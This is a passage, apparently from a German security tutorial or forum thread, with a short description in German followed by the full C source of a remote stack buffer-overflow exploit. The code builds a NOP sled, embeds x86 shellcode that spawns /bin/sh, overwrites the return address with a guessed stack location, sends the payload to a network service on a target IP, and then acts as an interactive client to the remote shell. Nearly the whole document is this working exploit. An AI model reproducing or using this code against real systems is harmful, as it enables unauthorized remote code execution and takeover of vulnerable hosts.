Das Programm erledigt folgende Aufgaben (sollte es zumindest):
Zusammensetzen des Angriffspuffers aus den NOP Befehlen, dem Maschinencode und der vermuteten Sprungadresse.
Aufbauen einer Netzwerkverbindung zu unserem Netzwerkdienst auf dem Zielrechner.
Übergabe des Angriffspuffers als Antwort auf die Aufforderung der Namenseingabe
Aufsetzen eines simplen Terminalprogramms auf die Netzwerkverbindung zum Zielrechner, um mit der auf der anderen Seite durch den Maschinencode gestarteten Shell kommunizieren zu können
Zufrieden?
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#define PORT 100 /*target port*/
#define NOP 0x90 /*NOP instruction on ix86*/
#define CODE_OFFSET 200 /*offset for machinecode in buffer*/
#define BUFFER_LOCATION 0xbffff36c /*guessed location of the target buffer*/
#define ATTACK_BUFFER_SIZE 356 /*size of the target buffer + overflow*/
/*WARNING: CODE_OFFSET, BUFFER_LOCATION AND ATTACK_BUFFER_SIZE MUST BE MULTIPLES OF 4*/
/*the machine code that will execute /bin/sh*/
char shellcode[] =
"\xeb\x18\x5d\x31\xc0\x88\x45\x07\x89\x6d\x08\x89\x45"
"\x0c\xb0\x0b\x89\xeb\x8d\x4d\x08\x8d\x55\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff/bin/sh";
void usage(char *name)
{
printf("Usage: %s target_ip\n",name); /*print usage information*/
exit(1);
}
main(int argc, char *argv[])
{
char string[ATTACK_BUFFER_SIZE];
char buffer[1024];
int i,s,k;
unsigned int jumpaddr;
struct sockaddr_in dest;
fd_set fds,rfds;
if(argv[1]==NULL) /*no target? -> display usage information*/
usage(argv[0]);
dest.sin_family = AF_INET;
dest.sin_port = htons(PORT);
dest.sin_addr.s_addr = inet_addr(argv[1]); /*the target*/
printf("Preparing attack string.\n");
memset(string,NOP,sizeof(string));
memcpy(string+CODE_OFFSET,shellcode,strlen(shellcode));
/*copy the machine code into the string*/
printf("Wrote %u bytes of machine code into string\n",strlen(shellcode));
/*INFO: ((x+3)/4)*4 yields the next bigger value than x that is a multiple of 4*/
jumpaddr=BUFFER_LOCATION+((CODE_OFFSET/2+3)/4)*4;
printf("jumpaddress into the buffer is 0x%x\n",jumpaddr);
printf("Writing jumpaddress at offset(s): ");
for(k=((CODE_OFFSET+strlen(shellcode)+3)/4)*4; k<=sizeof(string)-4; k=k+4)
{
printf("%u ",k);
memcpy(string+k,&jumpaddr,4); /*fill rest of string with jumpaddress*/
}
printf("\n");
string[sizeof(string)-3]=13;
string[sizeof(string)-2]=10; /*carriage return and linefeed*/
string[sizeof(string)-1]=0; /*End of string*/
printf("Attack string ready\n");
s=socket(AF_INET,SOCK_STREAM,6); /*open a socket*/
if(s<0)
{
perror("socket");
exit(1);
}
i=connect(s,(struct sockaddr *)&dest,sizeof(struct sockaddr));
if(i<0) /*connect to the target*/
{
perror("connect");
exit(1);
}
printf("Connected to %s\n",argv[1]); /*hear, what the target has to say..*/
i=read(s,buffer,1024);
buffer[i]=0;
printf("%s\n",buffer);
printf("sending attack string....\n");
write(s,string,sizeof(string)); /*send the string to the target*/
i=read(s,buffer,1024);
buffer[i]=0;
printf("%s\n",buffer);
/*If all went well, we will now have a shell on the other side*/
/*the rest of the code will take care of the communication with*/
/*the shell on the remote host*/
FD_ZERO(&rfds); /*clear file discriptor set*/
FD_SET(0,&rfds);
FD_SET(s,&rfds); /*put s and stdin in fds*/
while(1)
{
memcpy(&fds,&rfds,sizeof(rfds));
i=select(s+1,&fds,NULL,NULL,NULL);
if(i==0)
exit(0); /*session closed*/
if(i<0)
{
perror("select");
exit(1);
}
if(FD_ISSET(s,&fds)) /*data from target*/
{
i=read(s,buffer,1024);
if(i<1)
{
printf("session closed\n");
exit(0);
}
write(1,buffer,i);
}
if(FD_ISSET(0,&fds)) /*data to target*/
{
i=read(0,buffer,1024);
if(i<1)
{
printf("session closed\n");
exit(0);
}
write(s,buffer,i);
}
}
}